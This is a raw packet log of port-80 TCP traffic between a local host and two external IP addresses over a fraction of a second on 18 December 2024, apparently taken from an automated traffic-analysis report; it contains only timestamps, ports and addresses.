Dec 18, 2024 12:00:27.779414892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.779467106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.779494047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.779511929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.780086994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.780134916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.780173063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.780234098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.780313969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.780329943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.780358076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.780384064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.780807018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.780860901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.781060934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.781110048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.781398058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.781445026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.781511068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.781588078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.781599998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.781639099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.781672955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.781672955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.782350063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.782397032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.782433987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.782481909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.782493114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.782505989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.782571077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.783108950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.783160925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.783204079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.783243895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.783582926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.783632040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.783724070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.783767939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.783871889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.783888102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.783935070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.784573078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.784640074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.784668922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.784682989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.784704924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.784766912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.784831047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.784874916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.785326004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.785382032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.785445929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.785511017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.785780907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.785830975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.785918951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.785962105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.786185980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.786261082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.786290884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.786329985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.786861897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.786902905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.786916018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.786928892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.786943913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.786966085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.787071943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.787113905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.787616968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.787659883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.787736893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.787784100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.787982941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.788027048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.788069010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.788113117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.788386106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.788430929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.788494110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.788539886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.789092064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.789182901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.789191008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.789206982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.789221048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.789244890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.789336920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.789381981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.789956093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.790004969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.790045977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.790090084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.790148973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.790162086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.790369034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.790616989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.790683031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.790712118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.790755033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.791224957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.791280985 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.791385889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.791403055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.791434050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.791452885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.791738987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.791786909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.792136908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.792182922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.792207003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.792221069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.792330980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.792377949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.792448997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.792495012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.792901993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.792948961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.793019056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.793066978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.793404102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.793450117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.793514967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.793559074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.793673992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.793720007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.793787003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.793836117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.794563055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.794615984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.794632912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.794676065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.795651913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.795703888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.795845985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.795933008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.796742916 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.796796083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.796940088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.797024012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.797883034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.797935009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.797959089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.798005104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.799012899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.799072981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.799108982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.799185991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.800038099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.800091028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.800122023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.800137997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.801160097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.801219940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.801302910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.801361084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.802254915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.802342892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.802405119 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.803353071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.803503990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.803514004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.803546906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.804486990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.804536104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.804583073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.804622889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.805526018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.805584908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.805593967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.805620909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.806684017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.806749105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.806788921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.806829929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.807756901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.807923079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.807972908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.808830976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.808878899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.808917046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.808994055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.809943914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.809993982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.810003996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.810031891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.811007023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.811058998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.811099052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.811189890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.812103033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.812161922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.812186956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.812205076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.813173056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.813247919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.813296080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.813339949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.814315081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.814344883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.814369917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.814388990 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.815377951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.815428019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.815464020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.815510035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.816468954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.816507101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.816570997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.817557096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.817620039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.817651987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.817696095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.818650007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.818703890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.818737984 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.818794012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.819756985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.819859982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.819989920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.820044994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.820854902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.820909977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.820924997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.820961952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.821962118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.822020054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.822079897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.822118998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.823250055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.823318958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.823358059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.823398113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.824273109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.824315071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.824333906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.824434996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.825247049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.825309038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.825330019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.825480938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.826339960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.826395988 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.826436996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.826482058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.827452898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.827526093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.827625036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.828577042 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.828629971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.828670025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.828716993 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.833151102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.952713966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.962846041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.962872982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.962905884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.962927103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.963097095 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.963141918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.963210106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.963255882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.964194059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.964250088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.964298010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.964345932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.965312958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.965363979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.965392113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.965442896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.966068029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.966113091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.966176033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.966218948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.967201948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.967259884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.967344046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.967386007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.968271971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.968377113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.968405962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.968447924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.969386101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.969434023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.969531059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.969721079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.970499992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.970545053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.970679045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.970729113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.971599102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.971648932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.971784115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.971863031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.972676992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.972728968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.972824097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.972862959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.973767042 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.973850965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.973864079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.973887920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.974848986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.974895000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.974926949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.974968910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.975964069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.976097107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.976156950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.976197004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.977107048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.977157116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.977180004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.977221966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.978162050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.978240013 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.978271008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.978315115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.979232073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.979351997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.979366064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.979398966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.980360985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.980393887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.980406046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.980427027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.981427908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.981473923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.981507063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.981549978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.982559919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.982609034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.982644081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.982687950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.983643055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.983692884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.983740091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.983779907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.984710932 CET	80	49950	185.215.113.16	192.168.2.6
